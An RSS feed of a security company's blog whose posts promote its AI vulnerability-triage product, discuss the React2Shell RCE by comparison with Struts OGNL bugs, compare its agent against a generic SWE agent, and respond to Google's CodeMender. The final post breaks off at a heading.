<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Pixee - Just Fix It.]]></title><description><![CDATA[Pixeebot, your automated product security engineer. Automatically fix vulnerabilities, harden code, squash bugs to give engineers more time to focus on the work that counts - all for free.]]></description><link>https://blog.pixee.ai</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1691122811833/nP-2P-zHS.png</url><title>Pixee - Just Fix It.</title><link>https://blog.pixee.ai</link></image><generator>RSS for Node</generator><lastBuildDate>Sat, 18 Apr 2026 16:07:42 GMT</lastBuildDate><atom:link href="https://blog.pixee.ai/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Introducing: Pixee SCA!]]></title><description><![CDATA[We all know Software Composition Analysis (SCA) is currently broken, and the root cause of most of the symptoms is the high false positive rate and absurd severity rankings. Enterprises are faced with these two realities:

You can’t just bump everyth...]]></description><link>https://blog.pixee.ai/introducing-pixee-sca</link><guid isPermaLink="true">https://blog.pixee.ai/introducing-pixee-sca</guid><category><![CDATA[SCA]]></category><category><![CDATA[AI]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Arshan Dabirsiaghi]]></dc:creator><pubDate>Tue, 16 Dec 2025 16:00:51 GMT</pubDate><content:encoded><![CDATA[<p>We all know Software Composition Analysis (SCA) is currently broken, and the root cause of most of the symptoms is the high false positive rate and absurd severity rankings. Enterprises are faced with these two realities:</p>
<ul>
<li><p><strong>You can’t just bump everything all the time</strong>, because that will break stuff, and you won’t ever get anything else done – even if it’s just the Highs+Criticals.</p>
</li>
<li><p><strong>You can’t just fully investigate every vulnerability that comes in</strong>, because the volume is too high, and you won’t ever get anything else done.</p>
</li>
</ul>
<p>Thus, the great unmet need in SCA is 10x better automated triage. Isolating the true positive signal would enable targeted, evidence-driven and most importantly – infrequent – interruptions. To get there, we need a solution that understands the vulnerability, the application, and the business context like nothing we’ve seen yet.</p>
<h1 id="heading-reachability-sota-just-isnt-good-enough">Reachability: SOTA Just Isn’t Good Enough</h1>
<p>The solutions in the market that purport to solve this problem use the term “reachability”. Being “reachable” to them means there is evidence of a connection between two places. I’m not sure I’ve seen many cases in my study of CVEs where “reachable” in this sense means “exploitable”. When I look at the results I feel underwhelmed and unconvinced.</p>
<p>True analysis of “exploitability” requires more than a method chain (or lack thereof). It’s a combination of factors, some high level, some low level, and some indirect or contextual – like the nature of deployment, data flow, API arguments, configuration, and lots of other stuff that just isn’t captured in a call graph.</p>
<p>Note that there is an incredibly high pre-test probability that any result is a false positive. So, if you hardcoded a triage tool to just say everything that comes in as a false positive, you’d be right a lot. So, it’s super important that the depth of analysis meets our standards of quality. Simply saying “I can’t find a path” doesn’t necessarily mean there was a solid basis for the conclusion. Asking “how well does it perform on the true positives” might elicit some seat stirring.</p>
<h1 id="heading-pixee-sca-research-context-transparency">Pixee SCA: Research, Context, Transparency</h1>
<p>Many months ago, after persistent prodding to bring our “philosophy” to triaging SCA results, we started testing an approach that we thought would be disruptive. A combination of research agents, coding agents, and the right context allowed us to do a remarkable job of triaging results.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765896754214/00144451-b209-4589-9879-5cc97a12d821.png" alt class="image--center mx-auto" /></p>
<p>After a few months, we found our approach was weeding out the noise spectacularly, and highlighting the signal convincingly. Today it regularly outperforms human analysis.</p>
<p>Let’s see it in action.</p>
<h2 id="heading-case-study-of-cve-2025-11226-more-convincing-and-transparent-than-a-call-graph">Case Study of CVE-2025-11226: More Convincing (and Transparent!) than a Call Graph</h2>
<p>We ran a “big box” SCA tool on an open source project called <a target="_blank" href="https://github.com/Stirling-Tools/Stirling-PDF/">StirlingPDF</a>, a webapp with enterprise-ish features. It found CVE-2025-11226, an issue in logback, a Java logging library. If a user can control elements of the log configuration, they could potentially write files they shouldn’t. The idea of initializing your loggers with user input is so alien to me, I’m not sure I personally have enough neurons to contrive how that scenario would come to pass. But, the tools don’t know that.</p>
<p>This issue (CVSS 5.9 btw) is a great example of the pain that developers, security and compliance have to deal with. Each CVE is its own unique research project, requiring an exhausting context switch, and the mail just <em>never</em> stops. The vulnerability also shows how almost every CVE is more than just “does method A call method B”.</p>
<p>We connect the tool to Pixee, and we’re off to the races. The agents research the vulnerability, determine the exploitable conditions, and assess the code. Importantly, Pixee shows its work, isolating the exact exploitability conditions and how they are/are not present in this application context:</p>
<p><img alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765894624503/b52a7592-c8a4-406b-b1e0-0994b802e177.png" alt class="image--center mx-auto" /></p>
<p>This is what it looks like when a thorough, indefatigable security researcher analyzes a CVE report. Based on this evidence, a defensible assessment is reached:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1765894589376/f7867f29-50fe-4ad9-9162-a6350b216410.png" alt class="image--center mx-auto" /></p>
<p>Pixee firmly classifies this one as <em>Not Exploitable</em>, provides evidence, is easily verified to be correct, and we can all move on with our lives.</p>
<p>The transparency, depth of the evidence, and resultantly – the accuracy – are wildly different from anything we’ve seen in the market yet. This is the 10x better experience we’ve been looking for with SCA.</p>
<h1 id="heading-pixee-the-resolution-platform-not-aspm">Pixee: The Resolution Platform! (Not ASPM)</h1>
<p>We can’t wait to share more, because Pixee was never <em>just</em> about SAST. Our loftiest goal is to build an <em>AI Security Engineer</em> to cover all intelligence-based work around Product Security. But, our medium-term goal is to build a <em>Resolution Platform</em> that takes results from all your tools and scales the intelligence-led functions of triage and remediation, from analytic to business outcome. ASPMs are a place to store vulnerability data. We’re a place to <em>resolve vulnerability reports.</em></p>
<p>We are intentional about calling this <strong>Resolution</strong>, rather than <strong>Remediation</strong>. While remediation is critical to achieving secure software, it’s only the right action to take for a small subset of the vulnerabilities flagged by your scanners and processes that truly require it. In this context, triage is more critical than remediation, given that the vast majority of findings need intelligent validation, evidence, and in-depth analysis before we can determine if remediation is necessary. Blindly remediating simply because AI can perform the action when asked is exactly what the industry refers to as "AI slop."</p>
<p>If your team is dealing with a high volume of false positives and crazy severity ratings, and you’re ready for <em>real</em> automated triage – I’d love to spend a <a target="_blank" href="https://www.pixee.ai/sca-triage">few minutes introducing you</a> to our approach with Pixee for SCA!</p>
]]></content:encoded></item><item><title><![CDATA[React2Shell: The Next Struts2-Style Bug Parade?]]></title><description><![CDATA[The React2Shell bug is giving me major déjà vu, and I think there are important lessons here in Abstract vs. Concrete Risk (maybe in B2B sales too—I haven’t fully thought that part through yet).
In the 2010s, the Apache Struts team made (what appears...]]></description><link>https://blog.pixee.ai/react2shell-the-next-struts2-style-bug-parade</link><guid isPermaLink="true">https://blog.pixee.ai/react2shell-the-next-struts2-style-bug-parade</guid><category><![CDATA[Security]]></category><category><![CDATA[appsec]]></category><category><![CDATA[Application Security]]></category><category><![CDATA[React]]></category><category><![CDATA[product security]]></category><dc:creator><![CDATA[Arshan Dabirsiaghi]]></dc:creator><pubDate>Mon, 08 Dec 2025 18:03:03 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1765216629773/596b72e1-6df0-4240-b964-1cd3b52ed708.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The React2Shell bug is giving me major déjà vu, and I think there are important lessons here in <strong>Abstract</strong> vs. <strong>Concrete</strong> <strong>Risk</strong> (maybe in B2B sales too—I haven’t fully thought that part through yet).</p>
<p>In the 2010s, the Apache Struts team made (what appears to be) a similar architectural bet: center a lot of framework behavior around an expression language, OGNL, and use it everywhere. OGNL was woven through Struts with almost no visible guard rails. In the code, there’s no clear module boundary, no “here be dragons” warnings on the API, no strong type or visibility barriers. Just innocuous helper functions like <code>translateVariables()</code> sitting right next to normal framework plumbing, ready to helpfully execute code passed to it.</p>
<p>Over that decade we saw a parade of OGNL-driven RCEs in Struts 2. The same basic pattern kept resurfacing: user-controlled data (which is everywhere in a web framework) was able to reach a code path where it got evaluated as an expression. That led to major breaches like we saw Equifax.</p>
<p>Now fast-forward to React2Shell. React Server Components introduced the Flight protocol and Server Functions: a way to serialize calls from client → server and deserialize them back into function calls and object graphs. The React2Shell vulnerability is essentially an unsafe-deserialization / server-side prototype pollution bug in that decoding logic, which lets an unauthenticated attacker send a crafted payload and end up running code on the server.</p>
<p>It’s already:</p>
<ul>
<li><p>CVSS 10.0 — things rarely correctly receive this rating.</p>
</li>
<li><p>Affecting default configs in React 19 RSC and frameworks like Next.js App Router, React Router RSC, Waku, etc.</p>
</li>
<li><p>Being exploited in the wild, by multiple threat actors including China-nexus groups, and has been added to CISA’s KEV catalog.</p>
</li>
</ul>
<p>This is <strong>Concrete Risk</strong>: there’s a specific CVE (CVE-2025-55182), real exploits, IPs scanning the internet, and a due date on your patch window. Everybody understands this. Everybody is (hopefully) scrambling to patch.</p>
<p>The thing I’m more interested in is the <strong>Abstract Risk</strong> that was the prelude to this bug:</p>
<blockquote>
<p>“We just embedded a powerful little ‘language’ / protocol into the middle of our request pipeline, and it can decide what code runs on the server.”</p>
</blockquote>
<p>In Struts, the <strong>Abstract Risk</strong> looked like: OGNL is an expression language wired directly into request handling. User-controlled strings feed into it from many directions (tags, error messages, parameters…). The framework made it easy to slip from “data” into “code” by design.</p>
<p>In React’s case, the <strong>Abstract Risk</strong> looks like:</p>
<ul>
<li><p>The Flight protocol is not “just JSON”; it’s a mini-serialization language for modules, functions, and complex objects.</p>
</li>
<li><p>Server Functions sit at a privileged point in your stack – they are your app logic.</p>
</li>
<li><p>The decoding logic implicitly expands object properties and hooks into module loading and function invocation. When that layer goes wrong, it goes wrong catastrophically.</p>
</li>
</ul>
<p>You can patch the <strong>Concrete Risk</strong> with a point release (and you should! React 19.0.1 / 19.1.2 / 19.2.1 and the matching Next.js fixes). But the <strong>Abstract Risk</strong> question is harder, more important, and hopefully survives the current news cycle:</p>
<blockquote>
<p>Do we treat “introducing a new interpreter / protocol in the request path” as a P0 architectural risk class, the way we should have treated OGNL, JNDI, template engines, etc.? Or do we treat each individual CVE as an isolated surprise?</p>
</blockquote>
<p>Developers and product teams will almost always fix provable, concrete bugs. There’s a PoC, there’s a KEV entry, there’s a patch. Everyone’s kind of aligned. ✅</p>
<p>But very few teams have a muscle for saying: “This entire pattern of feature is dangerous, even before the first CVE.” “If we ship this, we’re signing up for a decade of whack-a-mole unless we put very strong boundaries around it.” That’s the <strong>Abstract Risk</strong>: the latent cost of certain architectural choices, whose gene expression could potentially only be revealed as headlines years later. Even now, with a CVE issued, the risk will still feel abstract to the React team. They will feel like they’ve squashed the risk, and any other talk is theoretical. Nothing like taking on the <strong>Abstract</strong> stuff is discussed in their <a target="_blank" href="https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components">notice</a>.</p>
<p>I don’t have a hot take about React’s long-term direction here. I don’t know the code well enough. But I do think we can use React2Shell as another data point in a bigger story: whenever we hide an interpreter or a powerful serialization protocol “behind the scenes” of developer ergonomics, history suggests it will eventually surface as remote code execution.</p>
<p>So, what do we do about this <em>now</em>?</p>
<p>Our job in AppSec and platform engineering is to get better at spotting those patterns before the CVEs pile up, and helping communicate how <strong>Abstract</strong> can become <strong>Concrete</strong>. The skillset here that will fundamentally affect your success is storytelling, metaphor, choice of battles — not the technical stuff.</p>
<p>If Twain was right, and history will be “rhyming” here — developers won’t perform the full-frontal assault on the <strong>Abstract Risk</strong>, and so we’ll have to deal with the fallout of many <strong>Concrete Risks</strong> over the coming years. 🍻</p>
]]></content:encoded></item><item><title><![CDATA[The Battle of AI Wrappers vs. AI Systems]]></title><description><![CDATA[To do vulnerability triage, we use a number of tools: composable agents, workflows, zero-shot LLM calls, deep research, knowledge bases, code analysis tools — you get it.
But, does any of it matter? We need to know if a simple “AI wrapper” from some ...]]></description><link>https://blog.pixee.ai/the-battle-of-ai-wrappers-vs-ai-systems</link><guid isPermaLink="true">https://blog.pixee.ai/the-battle-of-ai-wrappers-vs-ai-systems</guid><category><![CDATA[appsec]]></category><category><![CDATA[AppSecurity]]></category><category><![CDATA[AI]]></category><category><![CDATA[Security]]></category><category><![CDATA[SAST]]></category><category><![CDATA[#ai-tools]]></category><category><![CDATA[ai agents]]></category><dc:creator><![CDATA[Arshan Dabirsiaghi]]></dc:creator><pubDate>Fri, 31 Oct 2025 15:44:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/t2b2svMf8ek/upload/296a2470b0f1f2e9237f9727646bb298.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>To do vulnerability triage, we use a number of tools: composable agents, workflows, zero-shot LLM calls, deep research, knowledge bases, code analysis tools — you get it.</p>
<p>But, does any of it matter? We need to know if a simple “AI wrapper” from some competitor is going to get “good enough” results.</p>
<p>We decided to put it to the test.</p>
<p>We took all of our fancy tools, and put them on the sideline for a moment. We gave a SOTA reasoning model the same inputs and tools, and benchmarked the results on a high-performing SWE agent with what we think are good prompts for this task.</p>
<h1 id="heading-the-benchmark">The Benchmark</h1>
<p>Our benchmark data is a human-labeled mix of real-world open source vulnerabilities, anonymized examples from consenting customers, hand-crafted cases, and synthetically generated cases. It has easy cases and hard cases, and some are intentionally not decidable with just the inputs given.</p>
<p>We benchmark relatively concrete things (e.g., “ is it a false positive?”) and slightly fuzzier things like “is this vulnerability <em>actually</em> higher or lower severity than reported?”) In fairness to the wrapper, we made it easier to “pass”, and gave it some grace on the fuzzier things we measure, even though we think classifying a severity correctly, the way an enterprise does — is very important, as it drives real policy inside our customers.</p>
<p>So, enough already — how does it do?</p>
<h1 id="heading-purpose-built-ai-system-beats-vanilla-sota-model-by-some-distance">Purpose-Built AI System Beats Vanilla SOTA Model By Some Distance</h1>
<p>I’m very happy (for ourselves and the wider AI startup ecosystem) to report that moats still exist in the AI world. We performed significantly better than the “naive” SWE performance on classifying multiple aspects of a vulnerability. Note that we have many vulnerabilities that are hard to adjudicate</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761861673516/a79d3e9e-5eab-428c-8933-590e0d37cdfd.png" alt="Bar chart comparing two agents: SWE Agent with a value around 0.50 and Pixee Agent with a value of 1.00." class="image--center mx-auto" /></p>
<p>Our agent achieves an 89% classification accuracy on our benchmarks, while the naive agent gets around 51%.</p>
<p>On review of where it succeeds, we definitely notice a few patterns. It gets <em>more</em> of the easy, single file stuff (but not all of it), and definitely trends towards failing on the trickier cases. It tends to elevate risk where there isn’t. It succeeds when detailed knowledge of frameworks is less important to the right classification. We could dig into the data much more and try to answer questions like — does it tend to do well on the true positives, but fail on the false positives? What rule classes does it have trouble classifying?</p>
<h1 id="heading-why-do-we-outperform">Why Do We Outperform?</h1>
<p><strong>The models alone are still just not great at AppSec.</strong> Deep, nerdy aspects of vulnerabilities and exploitation specifics in the space are just not “second nature” to the weights. What combination of flags disable external entity resolution Java XML parsers (<a target="_blank" href="https://www.contrastsecurity.com/security-influencers/xml-xxe-pitfalls-with-jaxb">quite tricky</a>), what types of jQuery APIs actually execute inputs, etc. There is benefit to a great knowledge base, using workflows instead of agents where appropriate, enumerating hard conditions for classification matrices, using <a target="_blank" href="https://nahsra.hashnode.dev/introducing-exploit-verification">Exploit Verification</a>, etc. If I’m forced to speculate on why, it’s probably because there’s way more chatter about “Why did the Allies win WW2?” in the training data than there is about these esoteric security issues.</p>
<p><strong>The models’ safety alignments prevent taking firm positions.</strong> Some code vulnerabilities are inconclusive, because there isn’t enough data in the codebase to make a classification. So, you <em>must</em> offer a model this option. But, as I’m sure you’ve seen in your usage of ChatGPT, LLMs have a hard time resisting the tendency to sit on the fence — i.e., “it’s probably nothing, but consult a a doctor!”</p>
<p>Well, in this case, <em>we are the doctors</em>, and there is <em>no one else to call</em>. We must reach a firm, defensible conclusion in as many situations possible.</p>
<h1 id="heading-great-but-solution-analytics">Great, But Solution ≠ Analytics</h1>
<p>Of course, there’s lots of other values of our platform besides the raw triage analytic accuracy, but being the best in the world at this is our table stakes. To be the <em>World’s Best Fix Tool</em>, you have to be the <em>World’s Best Triage Tool</em>.</p>
<p>And the best platform of the future isn’t only about what you do with the code. The future is building a <em>Resolution Layer</em> for your company that dynamically pulls in the right context from your systems, and plugs into your workflows the way you want. It’s got to have both inductive and deductive learning capabilities. It’s got to have a lot of things.</p>
<p>More to come on that in the next few weeks!</p>
]]></content:encoded></item><item><title><![CDATA[Google CodeMender just validated autonomous patching. Enterprise readiness takes more.]]></title><description><![CDATA[Google’s CodeMender is a genuine leap forward: an AI agent that can reason about vulnerabilities, generate fixes, and self-validate them. That’s huge—and a welcome (and necessary) validation of where code security is headed. Over the last several mon...]]></description><link>https://blog.pixee.ai/google-codemender-just-validated-autonomous-patching-enterprise-readiness-takes-more</link><guid isPermaLink="true">https://blog.pixee.ai/google-codemender-just-validated-autonomous-patching-enterprise-readiness-takes-more</guid><category><![CDATA[ai agents]]></category><category><![CDATA[DevSecOps]]></category><category><![CDATA[Application Security]]></category><category><![CDATA[AI coding]]></category><dc:creator><![CDATA[Surag Patel]]></dc:creator><pubDate>Thu, 09 Oct 2025 18:44:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1760033967306/109c38d4-baa6-434e-b201-aecd4c0e7c6b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Google’s CodeMender is a genuine leap forward:</strong> an AI agent that can reason about vulnerabilities, generate fixes, and self-validate them. That’s huge—and a welcome (and necessary) validation of where code security is headed. Over the last several months, Google DeepMind reports that <a target="_blank" href="https://deepmind.google/discover/blog/introducing-codemender-an-ai-agent-for-code-security/">CodeMender</a> has upstreamed dozens of security fixes across major open-source projects, pairing Gemini-based reasoning with program analysis, fuzzing, and differential testing before a human maintainer reviews the patch. </p>
<p>We’re cheering this on, because it matches what we’ve learned building in this space for nearly three years: <strong>autonomous remediation is real</strong>—and it’s arriving faster than many expected. But turning an impressive research result into something you can rely on in a Fortune-100 SDLC requires more than patch quality. It requires <strong>context</strong>: evidence that a fix is necessary in <em>your</em> environment, governance that links changes to <em>your</em> policies, and a change-management flow that your developers actually trust.</p>
<h2 id="heading-from-research-to-runbooks-the-enterprise-bar"><strong>From research to runbooks: the enterprise bar</strong></h2>
<p>In open source, success = a correct, maintainable patch that passes tests and earns maintainer approval. In enterprises, the bar is higher because <strong>risk doesn’t live in code alone</strong>—it lives in systems, policies, SLAs, and people. It also has stakeholders and governors that are not on pull requests reviews. Based on what we’ve seen shipping AI remediation into production environments, a commercialized version of CodeMender (or any agent/workflow like it) needs several additional ingredients to thrive:</p>
<ul>
<li><p><strong>Customer-specific triage  
  </strong>FP/TP determination and “<em>should we fix?</em>” evidence—before code changes ever land. This is how you reduce alert fatigue and protect developer time. We all know that the vast majority of findings should never be fixed to begin with.</p>
</li>
<li><p><strong>Policy &amp; standards mapping  
  </strong>Framework versions, approved libraries, internal secure coding practices, and compatibility with how your teams actually build and deploy.  </p>
</li>
<li><p><strong>Memory &amp; customization  
  </strong>Retained learnings about your preferred sanitization patterns, exception-handling styles, logging conventions, and the specific third-party libs you bless.  </p>
</li>
<li><p><strong>Human reinforcement  
  </strong>Clear human-in-the-loop moments where AppSec and devs can ask questions, provide clarifications, or override suggestions—so the system learns <em>your</em> preferences.  </p>
</li>
<li><p><strong>Change safety  
  </strong>Compatibility checks, performance budgets, and test-delta summaries that prove the fix is safe to ship.  </p>
</li>
<li><p><strong>Accountability artifacts  
  </strong>Rationale, linked policies/controls, and an audit trail that stands up to scrutiny.  </p>
</li>
<li><p><strong>Workflow integration  
  </strong>Smooth handoffs across SCM (GitHub/GitLab/Bitbucket), scanners (Snyk, Checkmarx, SonarQube, Polaris), CI gates (GitHub Actions/Jenkins/CircleCI), and reporting.  </p>
</li>
<li><p><strong>Program-scale rollout  
  </strong>The ability to coordinate fixes across hundreds of repos and teams, with ownership mapping and phased execution.  </p>
</li>
<li><p><strong>Outcome metrics  
  </strong>Measuring what matters—validated-backlog reduction, MTTR improvements, evidence coverage—so leaders see progress beyond vanity counts. Of course, measurable ROI that a CFO can see is what matters.  </p>
</li>
<li><p><strong>Developer &amp; security trust  
  </strong>High merge rates, consistent evidence, and a body of vulnerability reports that make engineers or security teams feel confident pressing “approve.”</p>
</li>
</ul>
<h3 id="heading-attention-is-the-spark-context-is-the-engine-the-smartest-fix-may-be-the-one-you-dont-ship"><strong>Attention is the spark; context is the engine. The smartest fix may be the one you don’t ship.</strong></h3>
<p>That last line is the crux. The research headlines (rightly) celebrate high-quality patches at speed. In the enterprise, the fastest way to reduce risk is often choosing <em>not</em> to change low-exposure code—and proving why that’s OK. That decision requires <strong>tenant context</strong>: asset criticality, reachable paths, compensating controls, and the reality of your deployment topologies. Research agents show <em>how</em> to fix; production agents must also decide <em>what’s worth fixing now</em> and <em>what can wait</em>—with evidence.</p>
<h2 id="heading-why-this-matters-now"><strong>Why this matters now</strong></h2>
<p>Defenders and attackers are both getting faster with AI. Google says as much while rolling out CodeMender alongside updated secure-AI guidance and an AI-specific vulnerability rewards program; the intent is to arm defenders with more automation and better runbooks.  In parallel, many enterprises tell us that their scanner outputs and bug backlogs have grown faster than their remediation capacity. Two results we’ve observed repeatedly when teams adopt a <strong>triage-first, context-aware</strong> approach:</p>
<ul>
<li><p><strong>Higher merge rates</strong> (e.g., ~76%) when patches include concrete validation and align with internal patterns teams already use.</p>
</li>
<li><p><strong>Expert time recovery</strong> (e.g., ~91% of developer cost sits in remediation work), which means prioritization and “don’t-fix” evidence can unlock outsized savings.</p>
</li>
</ul>
<p>Those numbers don’t argue aginst autonomous patching—they argue for making it accountable to your context. When a fix lands with clear <em>why here/why now</em> reasoning, confidence goes up and cycle time goes down.</p>
<h2 id="heading-how-this-complements-googles-direction"><strong>How this complements Google’s direction</strong></h2>
<p>To their credit, Google’s framing emphasizes <strong>root-cause reasoning</strong>, <strong>self-validation</strong>, and <strong>human review</strong> for OSS maintainers—plus a proactive “hardening” mode that rewrites unsafe constructs (the libwebp buffer-safety example is a good illustration). It’s the right north star for reducing classes of bugs in the wild. </p>
<p>Bringing that same power inside regulated SDLCs means layering in the enterprise runbook above. In practice, that looks like:</p>
<ul>
<li><p>A <strong>context layer</strong> that sits between scanners and PRs, answering “what matters here?” with evidence—not just “what’s possible to fix?” This layer also provides the exact context necessary to enable the AI to make the right fix, the first time.</p>
</li>
<li><p><strong>Memory</strong> that accumulates your organization’s decisions and style, so the next patch looks like it came from your senior engineer, not a generic model.</p>
</li>
<li><p><strong>Human reinforcement</strong> loops that treat AppSec and developers as <em>teachers</em> of the system—asking questions, clarifying intent, and encoding preferences for the next round.</p>
</li>
<li><p><strong>Governed delivery</strong> that ties each change to policies, risk themes, and audit-ready artifacts.</p>
</li>
</ul>
<p>Over time, this shifts the operating model from <strong>scan → fix</strong> to <strong>understand → triage → fix → validate</strong>. You still get the speed of AI patching; you also get the <em>fit</em> that lets your org actually adopt it at scale.</p>
<h2 id="heading-enterprise-readiness-at-a-glance"><strong>Enterprise readiness, at a glance</strong></h2>
<p><strong>Checklist you can use tomorrow</strong></p>
<p>☐ Customer-specific triage (FP/TP determination + “should we fix?” evidence)<br />☐ Policy &amp; standards mapping (frameworks, libs, coding guidelines)<br />☐ Memory &amp; customization (retained learnings, preferences, styles)<br />☐ Human reinforcement (human-in-the-loop questions and clarifications)<br />☐ Change safety (compatibility checks, perf budgets, test diffs)<br />☐ Accountability artifacts (rationale, links, audit trail)<br />☐ Workflow integration (SCM, scanners, CI gates, reporting)<br />☐ Program-scale rollout (hundreds of repos, owners, phased execution)<br />☐ Outcome metrics (validated backlog reduction, MTTR, evidence coverage)<br />☐ Developer &amp; security trust (high merge rates, consistent vuln reports)</p>
<p><a target="_blank" href="https://www.pixee.ai"><strong>Pixee</strong></a> was built around this runbook — <strong>understand → triage → fix → validate → scale</strong> — and powered by a customer-specific secure code intelligence layer so suggested changes are relevant, compliant, and provably necessary for each environment.</p>
<h2 id="heading-zooming-out"><strong>Zooming out</strong></h2>
<p>If you’re a CISO or AppSec leader, this is your wake-up call. CodeMender is credible proof that autonomous remediation isn’t speculative—it’s here. The next step is making it <strong>accountable</strong> to your context, and turning it into a <strong>program</strong> in your environment. That’s how you turn findings into patches and risk reduction, limit the developer “security tax”, and move your metrics in the right direction.</p>
<p><strong>Further reading:</strong></p>
<ul>
<li><p>DeepMind announcement: <a target="_blank" href="https://deepmind.google/discover/blog/introducing-codemender-an-ai-agent-for-code-security/">“Introducing CodeMender: an AI agent for code security.”</a></p>
</li>
<li><p>Google: <a target="_blank" href="https://blog.google/technology/safety-security/ai-security-frontier-strategy-tools/">“How we’re securing the AI frontier” (SAIF 2.0 + AI VRP)</a></p>
</li>
<li><p>Coverage round-ups and early details: <a target="_blank" href="https://www.csoonline.com/article/4068774/google-deepmind-launches-an-ai-agent-to-fix-code-vulnerabilities-automatically.html">CSO Online</a>, <a target="_blank" href="https://www.theregister.com/2025/10/07/google_deepmind_patches_holes/">The Register</a>, <a target="_blank" href="https://www.techradar.com/pro/security/deepminds-latest-ai-tool-wants-to-detect-and-repair-software-vulnerabilities-before-they-get-attacked">TechRadar</a>, <a target="_blank" href="https://thehackernews.com/2025/10/googles-new-ai-doesnt-just-find.html">The Hacker News</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[More Isn't Always Better, But AI Makes That Irrelevant]]></title><description><![CDATA[The Counterintuitive Choice Breaking Today’s Security Programs
Every CISO faces a moment of truth during application security tool evaluation and selection — a decision that will determine the success to vulnerability management at scale.
Two vendors...]]></description><link>https://blog.pixee.ai/appsec-security-tools-why-more-vulnerability-detection-isnt-always-better</link><guid isPermaLink="true">https://blog.pixee.ai/appsec-security-tools-why-more-vulnerability-detection-isnt-always-better</guid><dc:creator><![CDATA[Arshan Dabirsiaghi]]></dc:creator><pubDate>Wed, 01 Oct 2025 13:50:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1759326241035/85d11077-f5be-4e8c-b175-2ea3fbc53eac.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-the-counterintuitive-choice-breaking-todays-security-programs"><strong>The Counterintuitive Choice Breaking Today’s Security Programs</strong></h3>
<p>Every CISO faces a moment of truth during application security tool evaluation and selection — a decision that will determine the success to vulnerability management at scale.</p>
<p>Two vendors present their solutions:</p>
<ul>
<li><p>Tool A finds 500,000 vulnerabilities in your test application…</p>
</li>
<li><p>Tool B discovers 501,000.</p>
</li>
</ul>
<p>The choice seems obvious - more comprehensive coverage must mean better vulnerability management, right?</p>
<p>Over the past 20 years, I’ve seen this seemingly straightforward question spiral the security industry down into the current, desperate situation. Decades of investment in detection capabilities, and rewarding vendors for noise, has led to an ecosystem where organizations are drowning in vulnerability backlogs.</p>
<h2 id="heading-why-arent-more-security-vulnerabilities-better">Why Aren’t More Security Vulnerabilities “Better”?</h2>
<p>It’s natural to think that “more coverage” (the positive spin on “high noise”) should lead to more risk elimination. Unfortunately, the sheer volume of findings often renders traditional security backlog management approaches ineffective. The fishing expedition mentality driven by fear and compliance make the wrong choice feel intuitively correct.</p>
<p><strong>Fear of Missing the Critical Flaw</strong> I mean, we’re here to stop breaches, right? This fear creates powerful psychological pressure to choose tools that find everything, even when “everything” includes massive amounts of noise, leading to security alert fatigue and mistrust.</p>
<p>Even just one critical vulnerability in some crevice of the organization can cost billions. This fear creates powerful psychological pressure to choose tools that find everything, even when "everything" includes massive amounts of noise.</p>
<p><strong>Vendor Incentive Alignment</strong> Security vendors have built entire business models around finding more issues. Companies drive the market to compete on detection capabilities, and not customer remediation rates. What happens downstream is really a “people and process problem” that sits comfortably out of their purview.</p>
<p><strong>Audit and Compliance Pressures</strong> Regulatory frameworks and security audits often measure programs by their ability to identify vulnerabilities, with less focus on than their ability to eliminate them. Our tool choices end up reflecting this.</p>
<h2 id="heading-the-downstream-impact-on-appsec-of-scanner-noise">The Downstream Impact on AppSec of Scanner Noise</h2>
<p>Choosing high-noise security tools triggers a cascade of organizational dysfunction that undermines the security posture these tools were meant to improve.</p>
<p><strong>Developer Rebellion and Tool Exile</strong> When security tools generate overwhelming amounts of false positives, developers inevitably push back. They have business value to create, deadlines to meet, and limited patience for investigating issues that turn out to be irrelevant. Developers tend to be more politically powerful because they create value and outnumber security teams significantly. Their time is just way more precious. It’s just math.</p>
<p>This power imbalance leads to tools being relegated to the deep dark security dungeon — isolated from development workflows where they accumulate findings but cannot drive remediation. The tools continue running, generating reports that document problems without solving them.</p>
<p><strong>The Bulk Suppression Reality</strong> Security professionals facing impossible triage loads resort to survival tactics that compromise security effectiveness. Even experienced analysts end up "select all, right-click, suppress" for hundreds or thousands of similar-looking findings because individual triage at scale becomes mathematically impossible.</p>
<p>No doubt, this systematic suppression often eliminates legitimate threats along with noise. When security professionals must process findings faster than they can properly analyze them, pattern-based suppression becomes the only viable approach - but it introduces blind spots that attackers will exploit.</p>
<p><strong>Attention Fatigue and the Lost Signal</strong> The human brain cannot maintain focus when reviewing thousands of repetitive alerts. We even have a name for this psychological phenomena. Security analysts suffering from attention fatigue will inevitably miss the critical finding hidden among false positives. As one practitioner observed, "You're just never gonna get it right when you see the one" after examining similar alerts thousands of times.</p>
<p>A few years ago, I would tell you: measure the tools on how actionable their results are, and how good they are at finding only the subset of vulnerabilities that matter to you.</p>
<p>Today, my answer is different.</p>
<h2 id="heading-why-more-vulnerabilities-could-be-better-but-only-because-of-ai">Why “More Vulnerabilities” <em>Could</em> Be Better — But Only Because of AI</h2>
